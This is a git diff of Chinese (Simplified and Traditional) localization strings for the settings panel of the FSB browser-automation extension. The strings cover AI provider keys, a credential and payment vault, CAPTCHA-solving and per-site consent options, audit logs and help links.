"panel_8abc0aef4e": { + "message": "FSB 以 MIT 许可证开源" + }, + "panel_e235f8135c": { + "message": "加入其他 FSB 用户并关注更新" + }, + "panel_53e5555e9a": { + "message": "在脱敏含密字段和敏感输入后,将重放数据保存在本地。普通输入文本和操作结果仍可用于重放。MCP 客户端可以提供不含机密的完成、部分或失败摘要,以保存本地任务记忆;不会另外调用 AI 提供方。关闭后会停止以后的 MCP 录制,并保存任何未结束的录制。现有 MCP 重放历史最多保留最近 50 个会话,且不会超过所配置的保留期。自动驾驶历史不受影响。" + }, + "panel_65b7096b6d": { + "message": "此来源禁止自动化。" + }, + "panel_d50f8b527c": { + "message": "敏感来源。能力调用可以在自动模式下运行;网络捕获发现仍需要确认。" + }, + "panel_47d2a515ef": { + "message": "正在加载..." + }, + "panel_90e89ecfe7": { + "message": "加载接下来的 500 条事件" + }, + "panel_935f2565d7": { + "message": "重试加载事件" + }, + "panel_4eee87e82f": { + "message": "无法连接保险库服务" + }, + "panel_08bf951eda": { + "message": "尚未配置保险库。请创建一个以保护已保存的凭据。" + }, + "panel_949bcb5f38": { + "message": "保险库已锁定。" + }, + "panel_30cef3bfb8": { + "message": "此会话的保险库已解锁。" + }, + "panel_05dc3c4c0a": { + "message": "检查保险库状态时出错。" + }, + "panel_890a216b7c": { + "message": "正在解锁..." + }, + "panel_def70944c9": { + "message": "正在创建..." + }, + "panel_93ad91e855": { + "message": "请先解锁凭据保险库。" + }, + "panel_8221f05f8b": { + "message": "付款方式已锁定。" + }, + "panel_0b4ba676b0": { + "message": "此会话的付款方式已解锁。" + }, + "panel_b82d31b688": { + "message": "检查付款状态时出错。" + }, + "panel_b197ab1d9b": { + "message": "请先在密码中设置保险库 PIN。" + }, + "panel_160419ae70": { + "message": "付款方式已解锁。" + }, + "panel_507fc32dc5": { + "message": "编辑代理" + }, + "panel_fb25598ed0": { + "message": "创建新代理" + }, + "panel_6c02a28421": { + "message": "正在测试..." + }, + "panel_22965568d2": { + "message": "已连接" + }, + "panel_ee172faa9c": { + "message": "无效密钥" + }, + "panel_031a8f0f65": { + "message": "失败" + }, + "panel_424a2551d3": { + "message": "已过期" + }, + "panel_c7730178f4": { + "message": "生成新代码" + }, + "panel_ac116124f7": { + "message": "无法生成配对码。请重试。" + }, + "panel_d03fd96d28": { + "message": "选择已加载的模型..." + }, + "panel_e189657f5a": { + "message": "没有匹配的模型" } } diff --git a/extension/_locales/zh_TW/messages.json b/extension/_locales/zh_TW/messages.json index ffe7bc1b6..21946cd5e 100644 --- a/extension/_locales/zh_TW/messages.json +++ b/extension/_locales/zh_TW/messages.json @@ -396,5 +396,1259 @@ }, "shell_error_status": { "message": "錯誤" + }, + "panel_67b6964686": { + "message": "儀表板" + }, + "panel_8ad747d05c": { + "message": "API 設定" + }, + "panel_8d261a372f": { + "message": "同步" + }, + "panel_703390318b": { + "message": "測試版" + }, + "panel_be146b37a0": { + "message": "密碼" + }, + "panel_632e1c5839": { + "message": "付款" + }, + "panel_22d4f6088b": { + "message": "進階設定" + }, + "panel_c3963aedaa": { + "message": "記憶" + }, + "panel_480d3c119a": { + "message": "紀錄與除錯" + }, + "panel_2ccff1d108": { + "message": "說明與文件" + }, + "panel_db17c74beb": { + "message": "查看 AI 用量、費用和自動化表現" + }, + "panel_cd41bf0d3e": { + "message": "總 Token 數" + }, + "panel_dfa5cc738d": { + "message": "總費用" + }, + "panel_ada27592c9": { + "message": "要求" + }, + "panel_5068c6c343": { + "message": "成功率" + }, + "panel_d909750b1b": { + "message": "自動化" + }, + "panel_cddf50281d": { + "message": "Token 用量隨時間變化" + }, + "panel_615c5daff4": { + "message": "過去 24 小時" + }, + "panel_b84372e5cb": { + "message": "過去 7 天" + }, + "panel_e9ddf63b38": { + "message": "過去 30 天" + }, + "panel_5e4bc34faf": { + "message": "設定 AI 模型提供者和 API 設定" + }, + "panel_9b3cf4a154": { + "message": "AI 模型設定" + }, + "panel_84e1ec2c5b": { + "message": "AI 提供者" + }, + "panel_994f468aae": { + "message": "選擇其他提供者" + }, + "panel_e65d5614f4": { + "message": "自訂(相容 OpenAI)" + }, + "panel_e69daa3849": { + "message": "API 提供者使用本機金鑰。代理 CLI 使用現有的本機登入。" + }, + "panel_daa5fed227": { + "message": "選擇其他 AI 提供者" + }, + "panel_822a9fabc1": { + "message": "此提供者已不能用於自動駕駛。開始新工作前,請選擇並儲存其他提供者。" + }, + "panel_5e2c614c23": { + "message": "模型" + }, + "panel_dfa17046ae": { + "message": "提供 API 金鑰以列出模型" + }, + "panel_00889a77ec": { + "message": "選擇要使用的 AI 模型" + }, + "panel_bc3286fa36": { + "message": "xAI API 金鑰" + }, + "panel_a3fb46f4c6": { + "message": "在此取得 API 金鑰" + }, + "panel_8e9faa30de": { + "message": "。金鑰儲存在此瀏覽器本機。" + }, + "panel_53bca734db": { + "message": "Gemini API 金鑰" + }, + "panel_8418bdbdcd": { + "message": "OpenAI API 金鑰" + }, + "panel_e07165f5ce": { + "message": "OpenAI 平台" + }, + "panel_959bc25166": { + "message": "Anthropic API 金鑰" + }, + "panel_c481af39b2": { + "message": "Anthropic 主控台" + }, + "panel_36e0497429": { + "message": "OpenRouter API 金鑰" + }, + "panel_84de34181d": { + "message": "。一把金鑰即可使用 200 多種模型。" + }, + "panel_018833a024": { + "message": "LM Studio 伺服器 URL" + }, + "panel_3efaf1b1c1": { + "message": "使用 LM Studio 的本機 OpenAI 相容伺服器。不需要 API 金鑰。模型即時發現自" + }, + "panel_83419f15b8": { + "message": "自訂 API 端點" + }, + "panel_cfb67fffe3": { + "message": "輸入相容 OpenAI 的 API 端點完整 URL" + }, + "panel_acb781f972": { + "message": "自訂 API 金鑰" + }, + "panel_5e2e7207a6": { + "message": "金鑰儲存在此瀏覽器本機。" + }, + "panel_abfe6d40e5": { + "message": "語音轉文字" + }, + "panel_5303c4374c": { + "message": "使用 OpenAI Whisper" + }, + "panel_14e36783b5": { + "message": "需要 OpenAI API 金鑰。關閉後使用瀏覽器內建的語音辨識。" + }, + "panel_e1461bf33a": { + "message": "CAPTCHA 求解" + }, + "panel_2909841c62": { + "message": "啟用 CAPTCHA 求解" + }, + "panel_1955b2ec44": { + "message": "使用 2Captcha 解決 reCAPTCHA v2、hCaptcha 和 Cloudflare Turnstile" + }, + "panel_5ac544cb2f": { + "message": "2Captcha API 金鑰" + }, + "panel_a003f76423": { + "message": "在此註冊" + }, + "panel_b6ff7ee96e": { + "message": "代理 CLI" + }, + "panel_a1272b91cf": { + "message": "正在檢查登入..." + }, + "panel_d696a35bdd": { + "message": "設定檔" + }, + "panel_3ac8bbca9a": { + "message": "帳單" + }, + "panel_cec3a9b89b": { + "message": "資料" + }, + "panel_ccf75fb483": { + "message": "連線 SuperGrok" + }, + "panel_acfc5be785": { + "message": "中斷連線" + }, + "panel_1771a5d0f6": { + "message": "繼續登入" + }, + "panel_888a2f4fc6": { + "message": "查看 SuperGrok 用量" + }, + "panel_d334745b85": { + "message": "安裝指南" + }, + "panel_adadface01": { + "message": "未回報" + }, + "panel_5bbbe53187": { + "message": "登入" + }, + "panel_774bf7db76": { + "message": "驗證狀態" + }, + "panel_2e5f79bb94": { + "message": "正在檢查..." + }, + "panel_02600e6189": { + "message": "正在驗證 API 連線" + }, + "panel_c02977b07e": { + "message": "測試連線" + }, + "panel_3907fa7f80": { + "message": "外觀" + }, + "panel_efb52e7172": { + "message": "主題" + }, + "panel_6725e7bbcd": { + "message": "跟隨系統" + }, + "panel_60acc53f13": { + "message": "深色" + }, + "panel_dbcd5e7bb7": { + "message": "淺色" + }, + "panel_19766ed6cc": { + "message": "取消" + }, + "panel_1509f561f2": { + "message": "儲存" + }, + "panel_35322b5bb5": { + "message": "儲存變更" + }, + "panel_eb1a70e392": { + "message": "捨棄" + }, + "panel_49e49bb440": { + "message": "產生" + }, + "panel_0e91610117": { + "message": "重新整理" + }, + "panel_3664895579": { + "message": "匯出" + }, + "panel_2cff9baabf": { + "message": "匯入" + }, + "panel_78b7d0379d": { + "message": "授予" + }, + "panel_05a2d7332e": { + "message": "拒絕" + }, + "panel_ca7981b46e": { + "message": "關閉" + }, + "panel_b8c209cdea": { + "message": "詢問" + }, + "panel_0286249762": { + "message": "自動" + }, + "panel_1a3a4b99db": { + "message": "還沒有人回報 FSB 被辨識為機器人並打斷工作。不過並非每天都順利。這是為不順利的時候準備的。" + }, + "panel_1a187ac034": { + "message": ",儲值後從儀表板複製 API 金鑰。可解決 reCAPTCHA v2、hCaptcha 和 Turnstile。" + }, + "panel_92f1115a37": { + "message": "FSB 使用此 CLI 現有的本機登入。測試連線會傳送一個不含工具的小型驗證要求。" + }, + "panel_cfaa352b86": { + "message": "xAI · 本機工具" + }, + "panel_fd05c3a95a": { + "message": "需要已審核的 Grok Build 1.0.4 設定。測試連線會核對安裝、版本、隔離、ACP 和快取的 OAuth,且不傳送提示。" + }, + "panel_ce4f452059": { + "message": "使用已登入的 Grok 帳戶。SuperGrok 用量來自共享的每週額度;可能產生額外用量。" + }, + "panel_ba5c14963d": { + "message": "瀏覽器工作文字和 FSB 的 MCP 結果會傳送給 Grok 做推理。FSB 會為這個私有設定關閉次要遙測和追蹤上傳。" + }, + "panel_baf4338a6f": { + "message": "Anthropic · 本機工具" + }, + "panel_7b14b6ca11": { + "message": "使用已登入 Claude Code 的帳戶。FSB 不需要你的 Anthropic 憑證。" + }, + "panel_8cceeb4d83": { + "message": "用量和費用遵循該帳戶的 Claude 方案或 API 設定。" + }, + "panel_d9daa99f67": { + "message": "Claude Code 不會回報 FSB 可以安全讀取的驗證狀態。" + }, + "panel_00604d2592": { + "message": "查看 Claude 方案和帳單" + }, + "panel_b9f2d95fd0": { + "message": "微調自動化行為和效能" + }, + "panel_d987fa1b93": { + "message": "控制面板的外觀" + }, + "panel_1b0daa3cbf": { + "message": "跟隨作業系統外觀。預設:跟隨系統。" + }, + "panel_0c2634ded4": { + "message": "執行與限制" + }, + "panel_a429108292": { + "message": "自動化限制" + }, + "panel_a6db09cd31": { + "message": "控制工作執行邊界" + }, + "panel_7f9bd64777": { + "message": "最大疊代次數" + }, + "panel_efb8da8405": { + "message": "防止自動化迴圈失控" + }, + "panel_217a08135e": { + "message": "DOM 分析" + }, + "panel_f57d34cd62": { + "message": "最佳化頁面元素處理" + }, + "panel_f239d1c5e2": { + "message": "元素上限" + }, + "panel_a0981cec31": { + "message": "涵蓋範圍與速度的平衡" + }, + "panel_44551744d4": { + "message": "元素快取大小" + }, + "panel_bc63ff6878": { + "message": "50(最小:簡單頁面)" + }, + "panel_6e13b13acc": { + "message": "100(輕量:一般頁面)" + }, + "panel_f5e5f028c7": { + "message": "200(標準:建議)" + }, + "panel_51a4656787": { + "message": "500(較重:複雜 SPA)" + }, + "panel_b497c0b77d": { + "message": "自訂..." + }, + "panel_3bba622285": { + "message": "快取元素查詢,加快重複查詢。數值越高,複雜頁面越快,記憶體占用也越高。" + }, + "panel_964b6d2feb": { + "message": "代理並行" + }, + "panel_93bdf716dc": { + "message": "同時執行的代理上限" + }, + "panel_05f46c29ed": { + "message": "並行上限" + }, + "panel_599bc7e4ae": { + "message": "恢復為建議值 (8)" + }, + "panel_26f41aac5c": { + "message": "必須在 1 到 64 之間" + }, + "panel_dd39c865d3": { + "message": "8 個中有 0 個在執行" + }, + "panel_8b2e97f4e5": { + "message": "觸發程序並行" + }, + "panel_1844d05c26": { + "message": "同時監看的觸發程序上限" + }, + "panel_5aa4aff46c": { + "message": "恢復為預設值 (8)" + }, + "panel_4f6e909317": { + "message": "自動化行為" + }, + "panel_87fb620509": { + "message": "操作變更報告" + }, + "panel_8807532414": { + "message": "每次操作附帶傳回的行內差異" + }, + "panel_5d2f08be69": { + "message": "傳回操作變更報告(建議)" + }, + "panel_814f4c658e": { + "message": "MCP 工作階段重播" + }, + "panel_d93120e9c3": { + "message": "MCP 代理操作的本機精確紀錄" + }, + "panel_e3d0d26ac8": { + "message": "記錄 MCP 工作階段以便重播" + }, + "panel_8c338dcb22": { + "message": "MCP 重播保留天數" + }, + "panel_a3a33e657a": { + "message": "效能最佳化" + }, + "panel_318ba4fefb": { + "message": "啟用智慧功能以提高速度和準確性" + }, + "panel_718ec50194": { + "message": "增量差異" + }, + "panel_4df3ccd4f7": { + "message": "首次掃描後只傳送 DOM 變化(上下文減少 70-90%)" + }, + "panel_386c10cfbb": { + "message": "視窗優先" + }, + "panel_55b7c33a00": { + "message": "聚焦可見元素,獲得更快、更相關的結果" + }, + "panel_56cb122532": { + "message": "AI 網站地圖最佳化" + }, + "panel_bbabb56b4f": { + "message": "用 AI 自動最佳化網站地圖,以發現導覽策略和工作流程" + }, + "panel_6a63ec792f": { + "message": "視覺回饋" + }, + "panel_d9db4fd5a6": { + "message": "控制自動化期間的視覺提示" + }, + "panel_882726c86c": { + "message": "操作的動畫醒目提示" + }, + "panel_525c3926bb": { + "message": "執行操作時在元素周圍顯示脈動光暈" + }, + "panel_b8c545e36f": { + "message": "側邊欄步驟進度" + }, + "panel_cd7487b136": { + "message": "自動化期間在側邊欄顯示操作步驟" + }, + "panel_915c0ef81c": { + "message": "隱私與開發者" + }, + "panel_02d7d5cfae": { + "message": "語音輸入" + }, + "panel_936f490e8e": { + "message": "控制 FSB 側邊欄中的麥克風輸入" + }, + "panel_92f7b96921": { + "message": "啟用麥克風語音輸入" + }, + "panel_e007c1f5fd": { + "message": "正在檢查麥克風權限…" + }, + "panel_7df7702416": { + "message": "Chrome 管理整個擴充功能的麥克風授權。" + }, + "panel_5e09a0b0eb": { + "message": "啟用麥克風" + }, + "panel_2c0acdeddf": { + "message": "開啟 Chrome 設定" + }, + "panel_d7de9cfa12": { + "message": "開發人員選項" + }, + "panel_fef2fc10ae": { + "message": "用於除錯和排查的工具" + }, + "panel_5f75368293": { + "message": "除錯模式" + }, + "panel_64b2d259ae": { + "message": "啟用詳細主控台紀錄,以便排查自動化問題" + }, + "panel_38d35a351e": { + "message": "隱私與遙測" + }, + "panel_21bf1bebea": { + "message": "匿名使用資料" + }, + "panel_451d787c00": { + "message": "傳送匿名使用資料" + }, + "panel_57f9a109d4": { + "message": "已用 Token、MCP 用戶端名稱、使用中代理數量。不含網址、提示或 DOM。" + }, + "panel_9ec9376910": { + "message": "閱讀完整政策 →" + }, + "panel_04dfac3671": { + "message": "未連線" + }, + "panel_acf2db1614": { + "message": "伺服器同步" + }, + "panel_609bbbdf07": { + "message": "雜湊金鑰" + }, + "panel_534803768c": { + "message": "配對儀表板" + }, + "panel_9a177de63c": { + "message": "掃描配對" + }, + "panel_43e3ece73f": { + "message": "剩餘" + }, + "panel_5ad3dbd124": { + "message": "知道了" + }, + "panel_c9b3c38247": { + "message": "合計" + }, + "panel_a69c4dece1": { + "message": "儲存" + }, + "panel_ae65d09655": { + "message": "容量" + }, + "panel_a039dfb962": { + "message": "Token 數" + }, + "panel_4bc74b2135": { + "message": "工作" + }, + "panel_2f36130ebc": { + "message": "合併" + }, + "panel_ddceb7adfd": { + "message": "全部清除" + }, + "panel_6cc8519b91": { + "message": "開始" + }, + "panel_d3f7409ad7": { + "message": "全部停止" + }, + "panel_f00611c47f": { + "message": "依你的系統自動建議。範圍 1 到 64。較低則資源使用更可預期,較高則並行代理更多。執行中降低此值不會趕走現有代理;超出新上限的新要求會被拒絕。" + }, + "panel_bfd6b0808c": { + "message": "預設 8。範圍 1 到 64。較低則資源使用更可預期,較高則並行監看更多。監看中降低此值不會停止現有監看;超出新上限的新觸發程序會被拒絕。" + }, + "panel_552aa7152b": { + "message": "傳回精簡差異,說明每次操作改變了什麼,這樣 AI 不必重新閱讀頁面。預設開啟。" + }, + "panel_bb0522a484": { + "message": "預設 30。範圍 1 到 365 天。只會自動刪除過期的 MCP 重播工作階段;自動駕駛紀錄不會因此被裁剪。" + }, + "panel_77f6039567": { + "message": "在側邊欄顯示麥克風,並允許瀏覽器語音辨識或 OpenAI Whisper。預設開啟。" + }, + "panel_509f0b9d50": { + "message": "關閉語音輸入後,FSB 不再使用麥克風,但不會撤銷 Chrome 已儲存的權限。" + }, + "panel_76e917ee87": { + "message": "將此擴充功能與 FSB 儀表板配對,以便遠端控制和儲存結果" + }, + "panel_c11de3bb2e": { + "message": "連線 FSB 伺服器以儲存結果並使用儀表板" + }, + "panel_097b5fa7f6": { + "message": "產生金鑰,然後配對儀表板,將此瀏覽器連到 FSB 伺服器。" + }, + "panel_75d0625c55": { + "message": "背景代理已經離開" + }, + "panel_d17d0cfd98": { + "message": "FSB 專注於一次到位的精確瀏覽器執行。排程和重複工作更適合專為此設計的工具:" + }, + "panel_5a694f4532": { + "message": "用於開源代理迴圈,以及" + }, + "panel_6e34781c2f": { + "message": "用於託管的長時間自動化。選擇適合你工作方式的那個。" + }, + "panel_e76c360683": { + "message": "試用 OpenClaw" + }, + "panel_1a58d9154d": { + "message": "試用 Claude Routines" + }, + "panel_582ba53e9e": { + "message": "已在 v0.9.45rc1 停用 · 2026 年 4 月" + }, + "panel_daa7068396": { + "message": "你以前的代理" + }, + "panel_3107f72f47": { + "message": "曾在此設定中的代理名稱保留在這裡,以免感覺遺失。定義仍在 chrome.storage.local['bgAgents'](未改動)。" + }, + "panel_9f83a0b7bf": { + "message": "從過往自動化工作階段中學到的長期記憶" + }, + "panel_76a6bcf157": { + "message": "自動分析" + }, + "panel_50d0c5511b": { + "message": "情節" + }, + "panel_9c11c99c77": { + "message": "語意" + }, + "panel_2e3e91ffbd": { + "message": "程序" + }, + "panel_ee6cfab445": { + "message": "費用(30 天)" + }, + "panel_bc01325482": { + "message": "所有類型" + }, + "panel_96452046b5": { + "message": "還沒有儲存的記憶。記憶會從已完成的自動化工作階段中自動擷取。" + }, + "panel_ba7fab765c": { + "message": "偵察" + }, + "panel_cf0e1ec867": { + "message": "爬取網站,繪製其互動結構、導覽和選擇器" + }, + "panel_ad2f160b7b": { + "message": "最大深度" + }, + "panel_53e4d8efcc": { + "message": "最大頁數" + }, + "panel_8ccc2c0e78": { + "message": "研究結果" + }, + "panel_452d842e33": { + "message": "查看並下載網站偵察資料,或儲存為網站地圖記憶" + }, + "panel_df63a2da5f": { + "message": "還沒有研究結果。使用上方的偵察來爬取網站。" + }, + "panel_30c19209ac": { + "message": "合併記憶" + }, + "panel_ba41142e62": { + "message": "網站地圖" + }, + "panel_bb501d7877": { + "message": "社群" + }, + "panel_d4b1ea5708": { + "message": "概覽" + }, + "panel_e72d5d8d0b": { + "message": "展開" + }, + "panel_73cde2ba51": { + "message": "電商與購物" + }, + "panel_8dfdbc2ef4": { + "message": "社群媒體" + }, + "panel_6c335e2a76": { + "message": "金融與交易" + }, + "panel_822c302ddc": { + "message": "旅行與預訂" + }, + "panel_7b1b7b315b": { + "message": "電子郵件平台" + }, + "panel_cbb811ada2": { + "message": "程式設計平台" + }, + "panel_c47f423a0a": { + "message": "職涯與求職" + }, + "panel_08cf7301b0": { + "message": "遊戲平台" + }, + "panel_2d995d5860": { + "message": "生產力工具" + }, + "panel_95bfe584eb": { + "message": "設計與白板" + }, + "panel_d9dae78103": { + "message": "遊戲" + }, + "panel_d357175cfe": { + "message": "媒體" + }, + "panel_6eb00b4b26": { + "message": "音樂" + }, + "panel_69752f2313": { + "message": "新聞" + }, + "panel_71bf90935f": { + "message": "參考" + }, + "panel_9b1f5daf0a": { + "message": "體育" + }, + "panel_0a035c2b85": { + "message": "工具" + }, + "panel_4b7ef9d8cd": { + "message": "監看自動化活動並排查問題" + }, + "panel_65e5078378": { + "message": "清除紀錄" + }, + "panel_5ddbf16ab1": { + "message": "匯出紀錄" + }, + "panel_03f1acb9e6": { + "message": "全部紀錄" + }, + "panel_ee585cc4bd": { + "message": "僅錯誤" + }, + "panel_0b3ff2c6ee": { + "message": "警告與錯誤" + }, + "panel_2d9e112fc2": { + "message": "資訊及以上" + }, + "panel_122df75095": { + "message": "FSB 控制面板已成功載入" + }, + "panel_edeead3f19": { + "message": "工作階段紀錄" + }, + "panel_fba294fa8b": { + "message": "查看並匯出過往自動化工作階段的紀錄" + }, + "panel_7a28e26099": { + "message": "清除所有工作階段" + }, + "panel_600cf8138b": { + "message": "還沒有記錄的工作階段。執行自動化工作後,工作階段紀錄會顯示在這裡。" + }, + "panel_e38737d4e5": { + "message": "分析除錯工具" + }, + "panel_c0b1dd0e52": { + "message": "測試並驗證分析資料收集" + }, + "panel_bc93dddbb3": { + "message": "測試 Token 追蹤" + }, + "panel_4267998cbe": { + "message": "查看儲存資料" + }, + "panel_056a9215e5": { + "message": "清除分析資料" + }, + "panel_2ed2274015": { + "message": "匯出資料" + }, + "panel_a239457076": { + "message": "除錯輸出:" + }, + "panel_38b6a17864": { + "message": "同意與稽核" + }, + "panel_94ef5e0fd6": { + "message": "下面的預設值適用於你尚未設定的每個網站;按來源清單可以把個別網站排除。" + }, + "panel_6e133ee86d": { + "message": "新網站的預設值" + }, + "panel_9693a6dbf3": { + "message": "金融和政府服務始終被封鎖,與此設定無關。出廠為自動;設為關閉可恢復嚴格的逐項啟用。" + }, + "panel_01914d2038": { + "message": "按來源同意" + }, + "panel_96db3ff001": { + "message": "除非你在這裡覆寫,否則每個網站都遵循上面的預設值。把網站設為關閉後,FSB 不再在該網站上操作。" + }, + "panel_48cfb671aa": { + "message": "還沒有網站。FSB 操作過的每個網站都會出現在這裡,你可以設為關閉。新網站遵循上面的預設值。" + }, + "panel_2c64c030d4": { + "message": "敏感" + }, + "panel_18f2a0947f": { + "message": "已封鎖" + }, + "panel_5f351832fd": { + "message": "允許會修改的(寫入)呼叫" + }, + "panel_45a8c38cdf": { + "message": "POST/PUT/PATCH/DELETE 的相容中繼資料。在自動模式下,FSB 可以對未封鎖的來源進行讀寫。" + }, + "panel_87b1794408": { + "message": "待處理要求" + }, + "panel_0334c4fb39": { + "message": "0 個待處理" + }, + "panel_10fd874b68": { + "message": "寫入" + }, + "panel_47751f88ed": { + "message": "稽核紀錄" + }, + "panel_818cb91030": { + "message": "匯出紀錄" + }, + "panel_533e26bdcc": { + "message": "清除紀錄" + }, + "panel_33b93476cf": { + "message": "時間" + }, + "panel_d3e1c5f8a6": { + "message": "來源" + }, + "panel_5faf58a69d": { + "message": "能力" + }, + "panel_52a0f9b65b": { + "message": "方法" + }, + "panel_bce87826df": { + "message": "副作用" + }, + "panel_d37e0cd00f": { + "message": "同意" + }, + "panel_4e80abb5b1": { + "message": "結果" + }, + "panel_5934628d0f": { + "message": "法律與服務政策" + }, + "panel_fea0aab06e": { + "message": "閱讀法律立場 →" + }, + "panel_4fc14539b2": { + "message": "查看已封鎖的服務 →" + }, + "panel_efc0b9cac2": { + "message": "隱私權政策 →" + }, + "panel_bfe73827c5": { + "message": "啟用自動登入" + }, + "panel_bbf6a83734": { + "message": "憑證保險庫" + }, + "panel_07dd5f0064": { + "message": "正在檢查保險庫狀態..." + }, + "panel_50b231118c": { + "message": "鎖定保險庫" + }, + "panel_ac22d297f8": { + "message": "選擇 PIN 長度" + }, + "panel_3e785bbc44": { + "message": "4 位" + }, + "panel_7856e511a2": { + "message": "6 位" + }, + "panel_f246c76813": { + "message": "輸入 PIN" + }, + "panel_4fa10c7baa": { + "message": "確認 PIN" + }, + "panel_73134c8143": { + "message": "設定保險庫" + }, + "panel_872ac152d2": { + "message": "輸入 PIN 以解除鎖定" + }, + "panel_b41986e3f5": { + "message": "解除保險庫鎖定" + }, + "panel_c1dc92c680": { + "message": "新增" + }, + "panel_35d74dfd8d": { + "message": "新增憑證" + }, + "panel_85a85dc9a2": { + "message": "網站 / 網域" + }, + "panel_657144f3f7": { + "message": "使用者名稱 / 電子郵件" + }, + "panel_e7cf3ef4f1": { + "message": "密碼" + }, + "panel_6239b93e96": { + "message": "備註(選填)" + }, + "panel_9caa27b9d0": { + "message": "允許此憑證用於子網域" + }, + "panel_8816182605": { + "message": "例如:為以下位址儲存的憑證" + }, + "panel_eb1c90412b": { + "message": "也可用於" + }, + "panel_195ab9772f": { + "message": "啟用已儲存的付款方式" + }, + "panel_b45d64e4a3": { + "message": "已儲存的付款方式" + }, + "panel_a92743920d": { + "message": "正在檢查付款方式狀態..." + }, + "panel_bbc3d7eb41": { + "message": "鎖定付款方式" + }, + "panel_24e06db48e": { + "message": "開啟密碼" + }, + "panel_186f818f5f": { + "message": "解除已儲存付款方式的鎖定" + }, + "panel_82f87079c6": { + "message": "新增卡片" + }, + "panel_b610b1ecca": { + "message": "新增付款方式" + }, + "panel_7cbcb92acd": { + "message": "暱稱(選填)" + }, + "panel_85dfa9ba97": { + "message": "顯示在卡片選擇器和已儲存卡片清單中。" + }, + "panel_d6bc26851d": { + "message": "持卡人姓名" + }, + "panel_4566e068a2": { + "message": "卡號" + }, + "panel_b764cdc0ea": { + "message": "未知" + }, + "panel_25ec19a82f": { + "message": "輸入時會自動辨識卡組織。" + }, + "panel_43533009b2": { + "message": "到期月份" + }, + "panel_310ca503ef": { + "message": "月" + }, + "panel_ca7aaef8c5": { + "message": "到期年份" + }, + "panel_8a944d3d0e": { + "message": "帳單姓名" + }, + "panel_1b77352e0b": { + "message": "帳單地址第 1 行" + }, + "panel_ff2bc02380": { + "message": "帳單地址第 2 行(選填)" + }, + "panel_fc33f73246": { + "message": "城市" + }, + "panel_9630a4b030": { + "message": "州 / 地區" + }, + "panel_8198b202a8": { + "message": "郵遞區號" + }, + "panel_701d021d08": { + "message": "國家" + }, + "panel_d00eca1bae": { + "message": "入門" + }, + "panel_c772928cb0": { + "message": "了解使用 FSB 進行瀏覽器自動化的基礎" + }, + "panel_584aa47f13": { + "message": "造訪網站" + }, + "panel_b50c780ec8": { + "message": "引導式設定" + }, + "panel_01c470e51f": { + "message": "重新開始設定" + }, + "panel_c205924de0": { + "message": "文件" + }, + "panel_ed16cec106": { + "message": "查看存放庫" + }, + "panel_4c4a152a2b": { + "message": "支援與常見問題" + }, + "panel_7302582a6f": { + "message": "開啟支援" + }, + "panel_d4a48a753a": { + "message": "MCP 設定" + }, + "panel_2df575344e": { + "message": "查看 MCP 指南" + }, + "panel_506ff39462": { + "message": "隱私權政策" + }, + "panel_377733b622": { + "message": "查看隱私權政策" + }, + "panel_666067dd37": { + "message": "議題" + }, + "panel_cf82dd02e8": { + "message": "查看議題" + }, + "panel_bc47da663d": { + "message": "原始碼" + }, + "panel_6209d4d395": { + "message": "查看 GitHub" + }, + "panel_bd4702c187": { + "message": "發行說明" + }, + "panel_1705ccc5a5": { + "message": "查看版本" + }, + "panel_c011d6097b": { + "message": "授權" + }, + "panel_b392d33f2e": { + "message": "查看授權" + }, + "panel_a4b17bc7db": { + "message": "你有未儲存的變更" + }, + "panel_8e0f9288e2": { + "message": "FSB 如何對待你尚未設定的網站。自動允許 FSB 呼叫任何未封鎖網站的已驗證 API(讀取和寫入)。關閉要求你先逐個啟用網站。詢問會把要求排入佇列等待你核准。" + }, + "panel_811f8544eb": { + "message": "等待你決定的要求。授予後呼叫方可以重試;未經你核准,FSB 不會行動。" + }, + "panel_b04eb08367": { + "message": "沒有待處理要求。工具需要同意時會顯示在這裡。你也可以從上方清單提前授予存取。" + }, + "panel_1fdd802663": { + "message": "能力呼叫的經遮罩、只追加紀錄。從不儲存參數、Token、Cookie 或回應本文。" + }, + "panel_787513f4fd": { + "message": "還沒有稽核項目。允許某個來源後,能力呼叫會記錄在這裡。項目已遮罩,且只儲存在本機。" + }, + "panel_323d6ff1f1": { + "message": "FSB 的自動化立場、稽核保留和同意模型記錄在 LEGAL.md 中。部分來源被服務拒絕清單排除在自動化之外。" + }, + "panel_e31b2a3d3f": { + "message": "管理已儲存的憑證和用於輔助登入的共享保險庫" + }, + "panel_93f508370d": { + "message": "啟用後,FSB 會偵測登入頁,並用已儲存的憑證提議自動登入" + }, + "panel_10f7c25d31": { + "message": "選擇 PIN 以保護已儲存的憑證。現有舊憑證會自動遷移。" + }, + "panel_50c3db852a": { + "message": "解除鎖定後可查看、編輯、自動填入或儲存密碼。" + }, + "panel_b6680d54b2": { + "message": "此瀏覽器工作階段的保險庫已解除鎖定。已儲存的憑證顯示在下方。" + }, + "panel_8d5ab0fe44": { + "message": "自動登入目前已關閉。你仍可在此管理已儲存的憑證,但在啟用之前,FSB 不會自動使用或儲存它們。" + }, + "panel_c533cc0b87": { + "message": "還沒有已儲存的憑證。自動化期間登入時會自動儲存,也可以手動新增。" + }, + "panel_0153e2da59": { + "message": "輸入網站網域(例如 github.com、mail.google.com)" + }, + "panel_83c6ad5aef": { + "message": "管理用於輔助結帳的已儲存卡片。付款方式共用在密碼中設定的憑證保險庫。" + }, + "panel_ff7378d58d": { + "message": "啟用後,FSB 可以在結帳頁提示填寫已儲存的卡片。它從不會自動送出最終付款。" + }, + "panel_7d1624ea92": { + "message": "管理已儲存的付款方式之前,請先解除憑證保險庫的鎖定。" + }, + "panel_ad5f8e8263": { + "message": "輸入保險庫 PIN 以解除付款方式鎖定" + }, + "panel_2035e1f48d": { + "message": "已儲存的卡片使用同一個加密保險庫,但在此瀏覽器工作階段中填寫結帳前需要單獨解除鎖定。" + }, + "panel_0ec4dc2534": { + "message": "此瀏覽器工作階段的已儲存付款方式已解除鎖定。FSB 可以在偵測到的結帳頁提示填寫已儲存卡片,但從不會自動送出最終付款。" + }, + "panel_5d38d8a7cf": { + "message": "已儲存的付款方式目前已關閉。你仍可在此管理已存卡片,但在啟用該功能之前,FSB 不會在結帳時提供它們。" + }, + "panel_2fd67f06e0": { + "message": "還沒有已儲存的付款方式。在此新增卡片後,解除付款存取,FSB 就可以在結帳頁提供它。" + }, + "panel_928895f662": { + "message": "CVV 和帳單資料以加密形式儲存在本機保險庫中。使用此功能前,請檢查本機裝置的安全。" + }, + "panel_39d561254a": { + "message": "儲存卡片" + }, + "panel_e4d896bcce": { + "message": "取得說明並進一步了解 FSB 功能" + }, 